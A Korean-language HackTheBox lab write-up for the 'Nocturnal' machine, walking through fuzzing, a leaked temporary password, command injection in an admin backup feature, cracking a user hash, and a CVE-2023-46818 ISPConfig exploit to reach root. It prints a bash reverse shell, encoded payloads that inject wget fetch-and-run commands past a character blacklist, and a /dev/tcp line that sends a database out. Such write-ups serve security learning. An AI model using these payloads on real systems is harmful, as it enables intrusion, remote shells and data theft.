HackTheBox Labs Writeup - Nocturnal

이 글은 HackTheBox 의 Easy 난이도 머신인 Nocturnal 에 대한 Writeup이다.

User Flag
우선 nmap 으로 스캐닝해보니 22번 ssh 포트와 80번 http 포트가 열린 것을 확인할 수 있다.
$ nmap -sV -A -T4 -Pn 10.10.11.64
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 05:12 EDT
Nmap scan report for 10.10.11.64
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 203.81 ms 10.10.14.1
2 203.84 ms 10.10.11.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds
브라우저로 접속하면 nocturnal.htb
로 리다이렉트되니 /etc/hosts
에 해당 도메인을 등록했다.
echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts
브라우저로 접속하니 웹 페이지가 보인다. 대충 사용자를 생성하고 로그인했다.

로그인하면 업로드 화면이 출력된다. 업로드할 수 있는 파일의 확장자가 제한되어 있다. 만약 적절한 파일을 업로드하지 않으면 Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
라는 에러 메시지가 출력된다.

업로드된 파일 링크를 클릭하면 view.php
로 접근하여 해당 파일의 데이터를 읽을 수 있다. 접근 시 GET 방식으로 username
과 file
이름을 받고 있으며, 존재하지 않는 파일에 접근하면 File does not exist.
가 발생한다.
view.php?username=moonding&file=001_docx.pdf
해당 기능을 이용해 중요한 파일 정보를 읽고 싶지만 파일 확장자 제한도 문제고, 어떤 파일을 읽어야 할지도 알 수 없다.
우선 ffuf 로 서버에 존재하는 유저 이름을 퍼징해보았다.
$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test2.xlsx' -w '/home/kali/Desktop/SecLists-master/Usernames/Names/names.txt' -H 'Cookie: PHPSESSID=vrvvfss7qe5lpa3fbkvq4u4376' -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test2.xlsx
:: Wordlist : FUZZ: /home/kali/Desktop/SecLists-master/Usernames/Names/names.txt
:: Header : Cookie: PHPSESSID=vrvvfss7qe5lpa3fbkvq4u4376
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 194ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 191ms]
퍼징 결과 admin
, amanda
,tobias
유저를 발견했다.
이번엔 웹 페이지를 퍼징해보았다.
$ ffuf -u 'http://nocturnal.htb/FUZZ.php' -w '/home/kali/Desktop/SecLists-master/Discovery/Web-Content/common.txt'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/FUZZ.php
:: Wordlist : FUZZ: /home/kali/Desktop/SecLists-master/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 192ms]
dashboard [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
index [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 191ms]
login [Status: 200, Size: 644, Words: 126, Lines: 22, Duration: 191ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 191ms]
register [Status: 200, Size: 649, Words: 126, Lines: 22, Duration: 193ms]
view [Status: 302, Size: 2919, Words: 1167, Lines: 123, Duration: 191ms]
다른건 별로 중요치않지만 admin.php
페이지는 중요해보여 접속을 시도해보았으나, 바로 로그인 페이지로 리다이렉트되었다. 아마 admin 권한이 있는 사용자만 접속이 가능할 것 같다.
우선 앞서 찾아낸 사용자가 업로드한 파일에 접근해보기로 했다. http://nocturnal.htb/view.php?username=amanda&file=.pdf
에 접속하면 amanda 가 업로드한 privacy.odt
파일을 발견할 수 있다.

privacy.odt
파일을 Ms-Word 로 열어보면 다음과 같은 내용을 가진다. 서버에서 amanda 에게 임시 암호 arHkG7HAI68X8s1J
을 주었다는 내용이다.

로그아웃 후 amanda:arHkG7HAI68X8s1J
로 웹에 접속해보자. amanda 는 admin 권한이 있기 때문에 admin.php
페이지에 접속할 수 있다.

admin.php
에는 서버 내 주요 데이터를 백업하는 기능이 존재한다. 대충 적당한 암호를 입력 후, 백업을 생성하고 다운로드하자.

다운로드한 파일 암호는 앞서 입력한 암호다. 안타깝게도 백업 파일 자체에는 특별한 정보가 없다. 하지만 admin.php
를 자세히 보면 이 기능 자체에 취약점이 있는 것을 확인할 수 있다. backup
과 password
를 셋팅한 POST 패킷을 보내면 해당 값을 이용해 암호화된 압축 파일을 생성하는 커맨드를 실행한다. password
를 적절하게 입력하면 임의의 명령을 실행해 리버스셸을 실행할 수 있을 것이다.
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
... 후략 ...
대신 password
는 아래와 같은 cleanEntry()
함수로 입력 값을 필터링하고 있으니 이를 고려해야 한다.
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
우선 리버스셸을 생성하는 bash shell 스크립트 파일인 shell
파일 생성했다. ip, port 는 적절하게 바꿔야한다.
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1
이후 shell
파일 다운로드할 수 있도록 python 서버를 실행했다.
$ python -m http.server 80
이제 공격 대상 서버에서 wget
을 이용해 앞서 생성한 shell
파일을 다운로드, 실행하도록 만들 것이다.
password
에 다음과 같은 값을 전달해 로컬 머신에서 shell
파일을 다운로드시킨다.
%0Abash%09-c%09"wget%0910.10.14.3/shell"%0A

password
에 다음 값을 전달하면 다운로드한 shell
을 실행하며 리버스셸 수립을 시도한다. 당연히 이 작업을 하기 전에 로컬 머신은 nc
로 리버스셸을 받을 준비를 해야 한다.
%0Abash%09-c%09"bash%09shell"%0A
무사히 리버스셸 수립에 성공하면 /var/www/nocturnal_database
에서 nocturnal_database.db
파일을 찾을 수 있다. nc
를 이용해 파일을 다운로드하자.
$ nc -lvnp 8888 > nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ cat nocturnal_database.db > /dev/tcp/10.10.14.3/8888
<at nocturnal_database.db > /dev/tcp/10.10.14.3/8888
다운로드한 db 를 열어 보면 각 유저의 hash 값을 얻을 수 있다.

hashcat
으로 tobias
유저의 암호를 크래킹하면 slowmotionapocalypse
인 것을 확인할 수 있다.
$ hashcat -m 0 -a 0 55c82b1ccd55ab219b3b109b07d5061d '/home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt'

tobias:slowmotionapocalypse
로 ssh 접속하면 유저 flag 를 얻을 수 있다.
$ ssh tobias@nocturnal.htb
tobias@nocturnal:~$ cat user.txt
Root Flag
ss
명령어로 열려있는 포트를 확인해보니 8080포트가 있다.
tobias@nocturnal:~$ ss -tuln

로컬 호스트만 접속이 가능하니 ssh 포워딩을 이용하여 접속해보자. 필자는 로컬 호스트의 1234 포트와 연결했다.
$ ssh tobias@nocturnal.htb -L 1234:127.0.0.1:8080
이제 브라우저로 localhost:1234 로 접속해보면 ISP Config 로그인 화면이 나타난다.

페이지 소스를 조사해보면 isp config 버전이 3.2인 것을 유추할 수 있다.

CVE-2023-46818 exploit 을 이용하면 지정한 credential 의 shell 을 얻을 수 있다. 테스트 해본 결과 admin
유저가 tobias
와 같은 암호인 slowmotionapocalypse
을 사용하고 있다.
$ python exploit.py http://localhost:1234/ admin slowmotionapocalypse
ispconfig-shell 로 접속하면 root flag 를 얻을 수 있다.
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell# cat /root/root.txt